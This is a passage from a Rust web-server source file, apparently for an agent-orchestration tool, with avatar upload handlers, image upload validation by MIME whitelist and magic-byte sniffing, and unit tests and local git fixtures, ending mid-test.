10891    format!(
10892        "/avatars/magi?v={}",
10893        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10894    )
10895}
10896
10897async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10898    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10899}
10900
10901#[derive(Deserialize)]
10902struct MagiIconUpload {
10903    icon: String,
10904}
10905
10906fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10907    save_icon_file(&magi_icon_path(home), icon)
10908}
10909
10910fn validate_uploaded_icon(icon: &str) -> Result<()> {
10911    if !icon.starts_with("data:") {
10912        anyhow::bail!("upload a raster image");
10913    }
10914    let (mime, bytes) = persona_icon::load(icon)?;
10915    if sniffed_mime(&bytes) != Some(mime) {
10916        anyhow::bail!("image content does not match its type");
10917    }
10918    Ok(())
10919}
10920
10921fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10922    validate_uploaded_icon(icon)?;
10923    atomic_icon_write(path, icon)
10924}
10925
10926fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10927    let home = path.parent().expect("icon parent");
10928    std::fs::create_dir_all(home)?;
10929    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10930    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10931    let result = (|| -> Result<()> {
10932        use std::io::Write;
10933        let mut file = std::fs::OpenOptions::new()
10934            .write(true)
10935            .create_new(true)
10936            .open(&temp)?;
10937        file.write_all(icon.as_bytes())?;
10938        file.sync_all()?;
10939        std::fs::rename(&temp, path)?;
10940        Ok(())
10941    })();
10942    let _ = std::fs::remove_file(temp);
10943    result?;
10944    Ok(())
10945}
10946
10947async fn magi_icon_put(
10948    State(ui): State<Arc<Ui>>,
10949    Json(upload): Json<MagiIconUpload>,
10950) -> ApiResult<Json<serde_json::Value>> {
10951    blocking(move || {
10952        if !upload.icon.starts_with("data:") {
10953            return Err(ApiError::bad_request("upload a raster image"));
10954        }
10955        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10956        if sniffed_mime(&bytes) != Some(mime) {
10957            return Err(ApiError::bad_request(
10958                "image content does not match its type",
10959            ));
10960        }
10961        save_magi_icon(&ui.home, &upload.icon)?;
10962        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10963    })
10964    .await
10965}
10966
10967async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10968    blocking(move || {
10969        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10970            Ok(()) => (),
10971            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10972            Err(e) => return Err(anyhow::Error::from(e).into()),
10973        }
10974        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10975    })
10976    .await
10977}
10978
10979async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10980    let icon = (q.builtin.is_none())
10981        .then(|| read_magi_icon(&ui.home))
10982        .flatten();
10983    let mut response = match icon
10984        .as_deref()
10985        .and_then(|icon| persona_icon::load(icon).ok())
10986    {
10987        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10988            attachment_response(mime, bytes)
10989        }
10990        _ => svg_avatar(persona_icon::magi_svg()),
10991    };
10992    response
10993        .headers_mut()
10994        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10995    response
10996}
10997
10998/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10999/// operator's raster `icon` when it resolves and its bytes agree with its
11000/// type, the built-in SVG otherwise. Display only; every failure is a warning
11001/// and the built-in avatar, never an error response.
11002async fn talk_avatar(
11003    State(ui): State<Arc<Ui>>,
11004    Path(id): Path<String>,
11005    Query(q): Query<AvatarQuery>,
11006) -> ApiResult<Response> {
11007    blocking(move || {
11008        let id = resolve_talk(&ui.talks, &id)?;
11009        let talk = ui.talks.get(&id)?;
11010        let wanted = q
11011            .persona
11012            .as_deref()
11013            .map(str::trim)
11014            .filter(|p| !p.is_empty())
11015            .unwrap_or(&talk.persona)
11016            .to_owned();
11017        let specs = match Config::discover(&talk.repo, None) {
11018            Ok((cfg, _)) => cfg.talk.personas,
11019            Err(e) => {
11020                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11021                Vec::new()
11022            }
11023        };
11024        let found = persona::find(&specs, &wanted);
11025        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11026        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11027        let icon = effective_persona_icon(
11028            &ui.home,
11029            &wanted,
11030            found.as_ref().and_then(|p| p.icon.as_deref()),
11031        );
11032        if found.is_none() && icon.is_none() {
11033            return Ok(builtin_avatar(persona::DEFAULT_ID));
11034        }
11035        let Some(icon) = icon
11036            .as_deref()
11037            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11038        else {
11039            return Ok(builtin_avatar(&wanted));
11040        };
11041        let Some(found) = found else {
11042            return Ok(raster_or_builtin(
11043                Some(icon),
11044                persona_icon::builtin_svg(&wanted),
11045            ));
11046        };
11047        match persona_icon::load(icon) {
11048            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11049                let mut res = attachment_response(mime, bytes);
11050                res.headers_mut().insert(
11051                    header::CACHE_CONTROL,
11052                    header::HeaderValue::from_static("no-cache"),
11053                );
11054                Ok(res)
11055            }
11056            Ok((mime, _)) => {
11057                tracing::warn!(
11058                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11059                    found.id
11060                );
11061                Ok(builtin_avatar(&found.id))
11062            }
11063            Err(e) => {
11064                tracing::warn!(
11065                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11066                    found.id
11067                );
11068                Ok(builtin_avatar(&found.id))
11069            }
11070        }
11071    })
11072    .await
11073}
11074
11075/// Validate an attachment upload's declared `Content-Type` and the bytes
11076/// themselves, returning the canonical mime on success.
11077///
11078/// Two checks, both required: the header has to name one of
11079/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11080/// simply never in the list, active content rather than a picture, the same
11081/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11082/// magic number has to agree. The second is what stops a mislabeled upload -
11083/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11084/// a declared type is a claim, not a fact, so it is never trusted alone.
11085fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11086    if data.len() > ATTACHMENT_MAX_BYTES {
11087        return Err(ApiError::bad_request(format!(
11088            "attachment is {} bytes, over the {} MiB limit",
11089            data.len(),
11090            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11091        ))
11092        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11093    }
11094    if data.is_empty() {
11095        return Err(ApiError::bad_request("attachment is empty"));
11096    }
11097    let declared = declared_mime(headers)?;
11098    match sniffed_mime(data) {
11099        Some(sniffed) if sniffed == declared => Ok(declared),
11100        Some(sniffed) => Err(ApiError::bad_request(format!(
11101            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11102        ))),
11103        None => Err(ApiError::bad_request(
11104            "the file's bytes do not match any accepted image format",
11105        )),
11106    }
11107}
11108
11109/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11110/// and nothing else - parameters like `; charset=` are stripped, but the
11111/// value itself is not otherwise interpreted.
11112fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11113    let raw = headers
11114        .get(header::CONTENT_TYPE)
11115        .and_then(|v| v.to_str().ok())
11116        .unwrap_or("")
11117        .split(';')
11118        .next()
11119        .unwrap_or("")
11120        .trim()
11121        .to_ascii_lowercase();
11122    ATTACHMENT_MIME_WHITELIST
11123        .iter()
11124        .find(|&&m| m == raw)
11125        .copied()
11126        .ok_or_else(|| {
11127            if raw == "image/svg+xml" {
11128                ApiError::bad_request(
11129                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11130                     not just a picture",
11131                )
11132            } else if raw.is_empty() {
11133                ApiError::bad_request("Content-Type is required for an attachment upload")
11134            } else {
11135                ApiError::bad_request(format!(
11136                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11137                     image/gif or image/webp"
11138                ))
11139            }
11140        })
11141}
11142
11143/// Identify an image by its magic number, independent of whatever
11144/// `Content-Type` claimed.
11145fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11146    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11147        Some("image/png")
11148    } else if data.starts_with(b"\xff\xd8\xff") {
11149        Some("image/jpeg")
11150    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11151        Some("image/gif")
11152    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11153        Some("image/webp")
11154    } else {
11155        None
11156    }
11157}
11158
11159/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11160/// display - see [`talk::Attachment::name`]'s doc on why it never
11161/// contributes to a path. A missing or blank header (curl without it, an
11162/// older front end) falls back to a generic name rather than refusing the
11163/// upload over a field that is cosmetic.
11164fn filename_header(headers: &HeaderMap) -> String {
11165    headers
11166        .get(FILENAME_HEADER)
11167        .and_then(|v| v.to_str().ok())
11168        .map(str::trim)
11169        .filter(|s| !s.is_empty())
11170        .unwrap_or("attachment")
11171        .to_owned()
11172}
11173
11174/// Every attachment `GET` response: the mime re-validated against the same
11175/// closed whitelist the upload route enforces - never the string trusted
11176/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11177/// cannot decide it knows better than the type we send. Unlike a panel asset
11178/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11179/// document renders inline, not agent-authored HTML in a sandboxed frame.
11180fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11181    let content_type = ATTACHMENT_MIME_WHITELIST
11182        .iter()
11183        .find(|&&m| m == mime)
11184        .copied()
11185        .unwrap_or("application/octet-stream");
11186    (
11187        [
11188            (header::CONTENT_TYPE, content_type),
11189            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11190        ],
11191        body,
11192    )
11193        .into_response()
11194}
11195
11196/// The configuration for a repository, read off the disk for this request.
11197///
11198/// Through [`blocking`] because discovery reads and merges several TOML files,
11199/// and because the alternative - caching it in [`Ui`] at startup - would mean
11200/// the operator's phone kept interviewing with a roster they had already
11201/// changed, with no way to reload it but restarting the server they are not
11202/// sitting in front of.
11203async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11204    let repo = repo.to_path_buf();
11205    blocking(move || {
11206        let (cfg, _) = Config::discover(&repo, None)?;
11207        Ok(cfg)
11208    })
11209    .await
11210}
11211
11212/// The one prefix rule, used for both runs and tasks: a leading match for a
11213/// full id, a trailing match for the short form an operator reads off a
11214/// report. Written here rather than borrowed from `queue::resolve_id` because
11215/// the UI needs the two failures as different status codes, and telling them
11216/// apart from an error message is not something to build a route on.
11217fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11218    let mut hits = ids
11219        .into_iter()
11220        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11221    match (hits.next(), hits.next()) {
11222        (Some(one), None) => Ok(one),
11223        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11224        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11225            "`{prefix}` matches more than one {what}, including {a} and {b}"
11226        ))),
11227    }
11228}
11229
11230#[cfg(test)]
11231mod tests {
11232
11233    #[test]
11234    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11235        let dir = tempfile::tempdir().unwrap();
11236        let store = ask::Questions::at(dir.path().join("questions"));
11237        let mut q = Question::new(
11238            "task".to_owned(),
11239            "conduct".to_owned(),
11240            "conduct".to_owned(),
11241            "choose".to_owned(),
11242            String::new(),
11243            vec!["keep".to_owned()],
11244        );
11245        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11246        q.say("why?").unwrap();
11247        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11248        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11249        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11250        store.put(&mut q).unwrap();
11251        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11252        assert_eq!(store.count_needs_owner(), 1);
11253        store.beat(&q.id, ask::WaiterKind::Deputy);
11254        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11255        assert_eq!(store.count_needs_owner(), 0);
11256        let mut stale = store.read_lease(&q.id).unwrap();
11257        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11258        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11259        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11260        assert!(view.deputy_exhausted);
11261        assert!(view.waiting_on_agent);
11262        assert_eq!(view.question.choices, ["keep"]);
11263        store.drop_lease(&q.id);
11264        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11265        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11266    }
11267
11268    #[test]
11269    fn holder_reads_the_lease_not_the_record() {
11270        let mut q = Question::new(
11271            "run".to_owned(),
11272            "implement".to_owned(),
11273            "impl-A".to_owned(),
11274            "which?".to_owned(),
11275            String::new(),
11276            Vec::new(),
11277        );
11278        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11279        q.cwd = Some("/tmp".to_owned());
11280        assert_eq!(holder_of(&q, None), Some("nobody"));
11281        let beat = |kind, ago: i64| ask::Lease {
11282            kind,
11283            pid: 1,
11284            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11285                .unwrap(),
11286        };
11287        let fresh = beat(ask::WaiterKind::Asker, 1);
11288        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11289        let daemon = beat(ask::WaiterKind::Daemon, 1);
11290        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11291        let stale = beat(ask::WaiterKind::Asker, 3600);
11292        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11293
11294        // A conductor question says "deputy" only while one is attached and
11295        // alive, and "nobody" - never silence - when nothing ever listened.
11296        let mut c = Question::new(
11297            "task".to_owned(),
11298            crate::conduct::NODE.to_owned(),
11299            "conduct".to_owned(),
11300            "which?".to_owned(),
11301            String::new(),
11302            Vec::new(),
11303        );
11304        assert_eq!(holder_of(&c, None), Some("nobody"));
11305        c.cwd = Some("/tmp".to_owned());
11306        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11307        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11308        let deputy = beat(ask::WaiterKind::Deputy, 1);
11309        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11310        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11311
11312        // A release-watch question: nobody until a deputy is attached.
11313        let mut r = Question::new(
11314            String::new(),
11315            crate::bump::NOTICE_NODE.to_owned(),
11316            "release-watch".to_owned(),
11317            "stuck?".to_owned(),
11318            String::new(),
11319            vec!["hold".to_owned()],
11320        );
11321        assert_eq!(holder_of(&r, None), Some("nobody"));
11322        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11323        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11324        // A choice-less bump notice is nobody's question at all.
11325        r.deputy = None;
11326        r.seat = "bump".to_owned();
11327        assert_eq!(holder_of(&r, None), None);
11328
11329        // A merge approval is the same: nobody until a deputy is attached
11330        // and alive, never a silent "no holder".
11331        let mut m = Question::new(
11332            "run".to_owned(),
11333            crate::land::APPROVAL_NODE.to_owned(),
11334            "land".to_owned(),
11335            "merge?".to_owned(),
11336            String::new(),
11337            Vec::new(),
11338        );
11339        assert_eq!(holder_of(&m, None), Some("nobody"));
11340        assert_eq!(
11341            holder_of(&m, Some(&fresh)),
11342            Some("asker"),
11343            "a live explicit wait is a listener even before a deputy is attached"
11344        );
11345        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11346        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11347        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11348        assert_eq!(holder_of(&m, None), Some("nobody"));
11349    }
11350
11351    fn stub_config() -> Config {
11352        // An explicit roster, so the result never depends on which agent CLIs
11353        // this machine has installed.
11354        Config {
11355            agents: vec![crate::config::AgentSpec {
11356                id: "stub".to_owned(),
11357                kind: AgentKind::Command,
11358                model: None,
11359                command: vec!["true".to_owned()],
11360                extra_args: Vec::new(),
11361                env: Default::default(),
11362                prompt_delivery: None,
11363                max_turn_secs: None,
11364            }],
11365            ..Config::default()
11366        }
11367    }
11368
11369    fn plain_question(seat: &str) -> Question {
11370        Question::new(
11371            String::new(),
11372            "n".to_owned(),
11373            seat.to_owned(),
11374            "s".to_owned(),
11375            String::new(),
11376            Vec::new(),
11377        )
11378    }
11379
11380    #[test]
11381    fn deputies_enabled_follows_the_config() {
11382        let on = stub_config();
11383        assert!(crate::deputy::can_start(Some(&on), ""));
11384        assert!(crate::deputy::can_start(Some(&on), "stub"));
11385        let mut off = on.clone();
11386        off.daemon.max_deputies = 0;
11387        assert!(!crate::deputy::can_start(Some(&off), ""));
11388        let mut empty = on;
11389        empty.agents.clear();
11390        assert!(!crate::deputy::can_start(Some(&empty), ""));
11391        assert!(!crate::deputy::can_start(None, ""));
11392    }
11393
11394    #[test]
11395    fn question_views_load_the_config_once() {
11396        let dir = TempDir::new().unwrap();
11397        let store = ask::Questions::at(dir.path().to_path_buf());
11398        let mut with_deputy = plain_question("b");
11399        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11400        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11401
11402        let calls = std::cell::Cell::new(0usize);
11403        let views = question_views(qs.clone(), &store, || {
11404            calls.set(calls.get() + 1);
11405            Some(stub_config())
11406        });
11407        assert_eq!(calls.get(), 1);
11408        assert_eq!(views.len(), 3);
11409        for (v, q) in views.iter().zip(&qs) {
11410            assert_eq!(
11411                v.deputies_enabled,
11412                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11413            );
11414        }
11415
11416        let views = question_views(qs, &store, || None);
11417        assert!(views.iter().all(|v| !v.deputies_enabled));
11418
11419        let calls = std::cell::Cell::new(0usize);
11420        let views = question_views(Vec::new(), &store, || {
11421            calls.set(calls.get() + 1);
11422            None
11423        });
11424        assert!(views.is_empty());
11425        assert_eq!(calls.get(), 0);
11426    }
11427
11428    use pretty_assertions::assert_eq;
11429    use serde_json::Value;
11430    use tempfile::TempDir;
11431    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11432
11433    use super::*;
11434    use crate::config::Config;
11435    use crate::queue::Source;
11436
11437    /// How many 10ms steps a settle loop takes before it calls a stall a
11438    /// stall - thirty seconds.
11439    ///
11440    /// These loops wait on real `sh` subprocesses, and the machine that runs
11441    /// the gate runs several suites at once, so a two-second budget was not
11442    /// waiting for the reply, it was racing the scheduler: two of these
11443    /// tests failed under that load with the turn simply not landed yet.
11444    /// This is a hang guard, not a latency assertion - every loop breaks the
11445    /// moment its condition holds, so a generous cap costs an idle machine
11446    /// nothing and still fails a genuine hang instead of hanging the suite.
11447    const SETTLE_STEPS: usize = 3_000;
11448
11449    /// A home with a queue and a runs directory, and a router serving it on
11450    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11451    /// dependency, not ours - so the tests drive a real socket, which has the
11452    /// side benefit of asserting the status line and content types the phone
11453    /// actually receives.
11454    struct Fixture {
11455        home: TempDir,
11456        addr: SocketAddr,
11457    }
11458
11459    impl Fixture {
11460        async fn start() -> Self {
11461            Self::with_loop(launch_idle).await
11462        }
11463
11464        /// A fixture whose loop is `launch`.
11465        async fn with_loop(launch: Launch) -> Self {
11466            let home = TempDir::new().expect("temp home");
11467            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11468            Self { home, addr }
11469        }
11470
11471        /// A fixture whose `ui.repo` is a real directory rather than the
11472        /// usual placeholder - for the routes that read config off it
11473        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11474        async fn with_repo(repo: PathBuf) -> Self {
11475            let home = TempDir::new().expect("temp home");
11476            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11477            Self { home, addr }
11478        }
11479
11480        /// As [`Fixture::with_repo`], with the machine-config file the
11481        /// settings screen reads and writes.
11482        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11483            let home = TempDir::new().expect("temp home");
11484            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11485            Self { home, addr }
11486        }
11487
11488        async fn serve(
11489            home: &FsPath,
11490            repo: PathBuf,
11491            launch: Launch,
11492            machine: Option<PathBuf>,
11493        ) -> SocketAddr {
11494            let queue = Queue::at(home.join("queue"));
11495            let runs = home.join("runs");
11496            std::fs::create_dir_all(&runs).expect("runs dir");
11497            let worktrees = home.join("wt").join("magi");
11498            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11499            let ui = Ui::new(
11500                queue,
11501                Questions::at(home.join("questions")),
11502                Talks::at(home.join("talks")),
11503                runs,
11504                home.to_path_buf(),
11505                repo,
11506            )
11507            .with_worktrees_root(worktrees)
11508            .with_machine_config(machine)
11509            .with_launch(launch);
11510            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11511                .await
11512                .expect("bind loopback");
11513            let addr = listener.local_addr().expect("local addr");
11514            tokio::spawn(async move {
11515                let router = ui
11516                    .router()
11517                    .layer(axum::middleware::from_fn(request_cost::observe));
11518                let _ = axum::serve(listener, router).await;
11519            });
11520            addr
11521        }
11522
11523        fn queue(&self) -> Queue {
11524            Queue::at(self.home.path().join("queue"))
11525        }
11526
11527        fn questions(&self) -> Questions {
11528            Questions::at(self.home.path().join("questions"))
11529        }
11530
11531        fn talks(&self) -> Talks {
11532            Talks::at(self.home.path().join("talks"))
11533        }
11534
11535        fn runs(&self) -> PathBuf {
11536            self.home.path().join("runs")
11537        }
11538
11539        async fn get(&self, path: &str) -> Res {
11540            request(self.addr, "GET", path, None).await
11541        }
11542
11543        /// The status and headers without the body, which is how the front end
11544        /// preflights a panel: a sandboxed frame is opaque to the parent
11545        /// document, so the only way to tell "no panel" from "a panel that
11546        /// rendered blank" is to ask before mounting.
11547        async fn head(&self, path: &str) -> Res {
11548            request(self.addr, "HEAD", path, None).await
11549        }
11550
11551        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11552            request(self.addr, "POST", path, body).await
11553        }
11554
11555        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11556            request_with(self.addr, "GET", path, None, extra).await
11557        }
11558
11559        async fn delete(&self, path: &str) -> Res {
11560            request(self.addr, "DELETE", path, None).await
11561        }
11562
11563        async fn put(&self, path: &str, body: &str) -> Res {
11564            request(self.addr, "PUT", path, Some(body)).await
11565        }
11566
11567        /// `POST` a raw body with its own headers - see [`request_bytes`].
11568        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11569            request_bytes(self.addr, path, headers, body).await
11570        }
11571    }
11572
11573    /// Real tracking refs exercise the successful discovery path (including
11574    /// extraction), rather than counting cheap failures on a placeholder repo.
11575    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11576        let tmp = TempDir::new().unwrap();
11577        let mut repos = Vec::new();
11578        for name in ["one", "two"] {
11579            let repo = tmp.path().join(name);
11580            let origin = tmp.path().join(format!("{name}.git"));
11581            std::fs::create_dir_all(&repo).unwrap();
11582            crate::git::git(&repo, &["init", "-b", "main"])
11583                .await
11584                .unwrap();
11585            std::fs::write(
11586                repo.join("magi.toml"),
11587                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11588            )
11589            .unwrap();
11590            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11591            crate::git::git(
11592                &repo,
11593                &[
11594                    "-c",
11595                    "user.name=fixture",
11596                    "-c",
11597                    "user.email=fixture@example.invalid",
11598                    "commit",
11599                    "-m",
11600                    "fixture",
11601                ],
11602            )
11603            .await
11604            .unwrap();
11605            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11606                .await
11607                .unwrap();
11608            crate::git::git(
11609                &repo,
11610                &["remote", "add", "origin", origin.to_str().unwrap()],
11611            )
11612            .await
11613            .unwrap();
11614            crate::git::git(&repo, &["push", "origin", "main"])
11615                .await
11616                .unwrap();
11617            crate::git::git(
11618                &repo,
11619                &[
11620                    "symbolic-ref",
11621                    "refs/remotes/origin/HEAD",
11622                    "refs/remotes/origin/main",
11623                ],
11624            )
11625            .await
11626            .unwrap();
11627            let (cfg, _) = Config::discover(&repo, None).unwrap();
11628            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11629            repos.push(repo);
11630        }
11631        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11632        (tmp, repos)
11633    }
11634
11635    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11636        let (tmp, repos) = performance_repositories().await;
11637        let machine = tmp.path().join("machine.toml");
11638        std::fs::write(&machine, "").unwrap();
11639        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11640        (tmp, repos, fx)
11641    }
11642
11643    fn seed_performance(
11644        fx: &Fixture,
11645        repos: &[PathBuf; 2],
11646        questions: usize,
11647        runs: usize,
11648        items: usize,
11649    ) {
11650        // Saving states directly never starts a run or changes MAGI_HOME.
11651        for i in fx.questions().list().len()..questions {
11652            let mut question = Question::new(
11653                "20261001-000000-0000".into(),
11654                "implement".into(),
11655                "impl-A".into(),
11656                format!("question {i}"),
11657                "context".into(),
11658                vec!["yes".into(), "no".into()],
11659            );
11660            question.id = format!("20261003-000000-{i:04x}");
11661            fx.questions().put(&mut question).unwrap();
11662        }
11663        for i in run_ids(&fx.runs()).len()..runs {
11664            write_run_repo(
11665                &fx.runs(),
11666                &format!("20261001-000000-{i:04x}"),
11667                RunStatus::Ready,
11668                repos[i % 2].to_str().unwrap(),
11669            );
11670        }
11671        for i in fx.talks().list().len()..items {
11672            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11673            let mut talk = fx.talks().get(&id).unwrap();
11674            talk.repo = repos[i % 2].clone();
11675            fx.talks().put(&mut talk).unwrap();
11676            let mut task = crate::queue::Task::new(
11677                format!("task {i}"),
11678                "instruction".into(),
11679                repos[i % 2].clone(),
11680                crate::queue::Source::Agent {
11681                    run: id,
11682                    node: crate::queue::CHAT_NODE.into(),
11683                },
11684            );
11685            task.id = format!("20261004-000000-{i:04x}");
11686            fx.queue().put(&mut task).unwrap();
11687            // Notices has a production retention cap; seed up to that cap.
11688            if i < crate::notices::CAP {
11689                Notices::at(fx.home.path().join("notifications"))
11690                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11691                    .unwrap();
11692            }
11693        }
11694        assert_eq!(fx.questions().list().len(), questions);
11695        assert_eq!(run_ids(&fx.runs()).len(), runs);
11696        assert_eq!(fx.talks().list().len(), items);
11697        assert_eq!(fx.queue().list().len(), items);
11698        assert_eq!(
11699            Notices::at(fx.home.path().join("notifications"))
11700                .list()
11701                .len(),
11702            items.min(crate::notices::CAP)
11703        );
11704    }
11705
11706    #[tokio::test]
11707    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11708        let home = TempDir::new().unwrap();
11709        let root = home.path().canonicalize().unwrap();
11710        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11711        let fx = Fixture { home, addr };
11712        let repo = root.as_path().join("archive-repo");
11713        std::fs::create_dir(&repo).unwrap();
11714        crate::git::git(&repo, &["init", "-b", "main"])
11715            .await
11716            .unwrap();
11717        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11718            .await
11719            .unwrap();
11720        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11721            .await
11722            .unwrap();
11723        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11724            .await
11725            .unwrap();
11726        std::fs::write(repo.join("source"), "base").unwrap();
11727        crate::git::git(&repo, &["add", "."]).await.unwrap();
11728        crate::git::git(&repo, &["commit", "-m", "base"])
11729            .await
11730            .unwrap();
11731        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11732        std::fs::write(repo.join("source"), "archived review").unwrap();
11733        crate::git::git(&repo, &["commit", "-am", "review"])
11734            .await
11735            .unwrap();
11736        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11737        let mut config = Config::default();
11738        config.graph.worktree_root = Some(root.as_path().join("copies"));
11739        let mut state = RunState::new(
11740            repo.clone(),
11741            "main".into(),
11742            base.clone(),
11743            "archive".into(),
11744            config,
11745        );
11746        state.id = "20260101-000000-ef05".into();
11747        state.status = RunStatus::Ready;
11748        state.save_under(root.as_path()).unwrap();
11749        let evidence =
11750            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11751                .await
11752                .unwrap();
11753        let base_evidence =
11754            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11755                .await
11756                .unwrap();
11757        let source = state.worktree_root().join("review-1");
11758        let mut contents = std::collections::BTreeMap::new();
11759        contents.insert(
11760            repo.join("logs/HEAD"),
11761            format!("{base} {head} fixture\n").into_bytes(),
11762        );
11763        let record = serde_json::json!({
11764            "version":1, "run":state.id, "source":source, "head":head,
11765            "evidence":evidence, "admin":{}, "admin_contents":contents,
